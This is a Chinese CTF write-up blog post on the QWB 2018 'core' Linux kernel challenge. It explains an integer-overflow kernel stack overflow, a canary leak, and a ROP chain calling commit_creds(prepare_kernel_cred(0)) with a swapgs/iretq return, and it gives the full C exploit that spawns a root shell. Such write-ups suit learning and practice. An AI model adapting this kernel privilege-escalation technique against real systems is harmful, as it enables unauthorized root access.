kernel pwn首杀——强网杯2018 core
kernel pwn首杀 | kernel ROP | 强网杯2018 pwn
前言
光说不练瞎把式,看了那么多资料,还是得实战打一打。
nnd,低头一看时间,现在凌晨3:08,得了,写写简要过程睡觉了。
有很多地方其实还没弄明白,而且这次只是做了一个入门题,还是只打了本地。对于怎么传远程,怎么用gdb调试,都还没有涉猎,等睡醒再说。
学习链接
放几个链接,基础知识我就不讲了(也讲不明白,得跟大佬学...)
Linux Kernel I:Basic Knowledge
Linux Kernel Pwn I:Basic Exploit to Kernel Pwn in CTF
Kernel Pwn 入门 (1) (这个的exp不知道为啥我这里打不通)
kernel-pwn学习(3)--ret2user&&kernel ROP&&QWB2018-core
简要过程
在start.sh里面看见这里没开别的,只开了KASLR,而且init.sh把内核函数的地址cat到了另一个文件/tmp/kallsyms里面。所以我们可以用fscanf或者别的什么东西给把这个内核的符号表读出来,算出来内核地址的基址。
core.ko,在这个LKM加载进内核时执行init_module,跑了一个proc_create开了一个core进程,程序可以open这个/proc/core文件后,用ioctl函数通过这个进程文件的文件描述符fd和这个模块通信。
write到这个fd的时候可以将write的内容写进内核空间,而core_copy_func是拷贝内核空间的东西到内核的栈上,core_copy_func这个函数里面有个整数溢出的洞,能造成内核栈溢出。
off这个偏移量可以设置,core_read这个函数可以将内核空间的数据拷贝给用户空间,这个拷贝的起始地址可以通过off来进行偏转,可以泄露canary。
思路:读出来符号表算出来基址并且得到commit_creds和prepare_kernel_cred的地址,同时用ropper找到含有swapgs和iretq指令的gadget。利用ioctl控制off为0x40,再用ioctl把canary泄露出来。然后构造好ROP链直接把返回地址设为用户态中的一段汇编指令(实现commit_creds(prepare_kernel_cred(0))进行提权),并且接下来用swapgs和iretq稳稳地返回用户态去起一个system("/bin/sh")就行了
EXP:
注意ROP[12]空了出来,因为popfq要多pop一次,要预留空间
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#define CHANGE_OFF 0x6677889C
#define COPY_TO_USER 0x6677889B
#define CORE_COPY_FUNC 0x6677889A
#define raw_vmlinux_base 0xffffffff81000000;
long tester;
unsigned long long commit_creds, prepare_kernel_cred, startup_64;
size_t user_cs, user_ss, user_rflags, user_sp;
//0xffffffff81a012da: swapgs; popfq; ret;
unsigned long long swapgs_popfq_ret=0xffffffff81a012da-raw_vmlinux_base;
//0xffffffff81050ac2: iretq; ret;
unsigned long long iretq_ret=0xffffffff81050ac2-raw_vmlinux_base;
int readsym();
void saveStatus();
void backdoor();
int getRoot();
int main(){
printf("\033[33m\033[1m[x]Start pwn!\n\n\033[0m");
saveStatus();
readsym();
int fd=open("/proc/core",2);
ioctl(fd,CHANGE_OFF,0X40);
unsigned long long canary;
ioctl(fd,COPY_TO_USER,&canary);
printf("\033[33m\033[1m[x] %-20s\t0x%llx\n\033[0m","Leak canary:",canary);
swapgs_popfq_ret+=startup_64;
iretq_ret+=startup_64;
unsigned long long ROP[19]={0};
ROP[8]=canary;
ROP[10]=(unsigned long long)getRoot;
ROP[11]=swapgs_popfq_ret;
ROP[12]=0; //flag
ROP[13]=iretq_ret;
ROP[14]=(unsigned long long)backdoor;
ROP[15]=user_cs;
ROP[16]=user_rflags;
ROP[17]=user_sp;
ROP[18]=user_ss;
write(fd,(char*)ROP,sizeof(ROP));
ioctl(fd,CORE_COPY_FUNC,0xffffffff00000000+sizeof(ROP));
return 0;
}
void backdoor(){
system("/bin/sh");
}
void saveStatus()
{
__asm__("mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}
int getRoot(){
__asm__(
"mov rdi, 0;"
"mov rax, prepare_kernel_cred;"
"call rax;"
"mov rdi, rax;"
"mov rax, commit_creds;"
"call rax;"
);
}
int readsym(){
printf("\033[33m\033[1m[x] Try to read symbols\n\033[0m");
FILE * sym_file=fopen("/tmp/kallsyms","r");
if(sym_file==NULL)
{
printf("\033[31m\033[1m[x] ERROR: cannot open file \"/tmp/kallsyms\n\033[0m");
exit(0);
}
unsigned long long addr=0;
char name[0x100]={0};
char type[0x10]={0};
while(fscanf(sym_file,"%llx%s%s",&addr,type,name)==3){
if(commit_creds && prepare_kernel_cred && startup_64)
break;
else if(!strcmp(name,"commit_creds"))
commit_creds=addr;
else if(!strcmp(name,"prepare_kernel_cred"))
prepare_kernel_cred=addr;
else if(!strcmp(name,"startup_64"))
startup_64=addr;
}
if(commit_creds==0)
printf("\033[31m\033[1m[x] ERROR: cannot find commit_creds\n\033[0m");
else
printf("\033[32m\033[1m[x] %-20s\t0x%llx\n","commit_cred:",commit_creds);
if(prepare_kernel_cred==0)
printf("\033[31m\033[1m[x] ERROR: cannot find prepare_kernel_cred\n\033[0m");
else
printf("\033[32m\033[1m[x] %-20s\t0x%llx\n","prepare_kernel_cred:",prepare_kernel_cred);
if(startup_64==0)
printf("\033[31m\033[1m[x] ERROR: cannot find start_up64\n\033[0m");
else
printf("\033[32m\033[1m[x] %-20s\t0x%llx\n","startup_64:",startup_64);
printf("\033[33m\033[1m[x]Read function finished!\n\n\033[0m");
return 0;
}
提权后,之前shell的$会因为成功提权而变成#号。
写在最后
艹,天快亮了...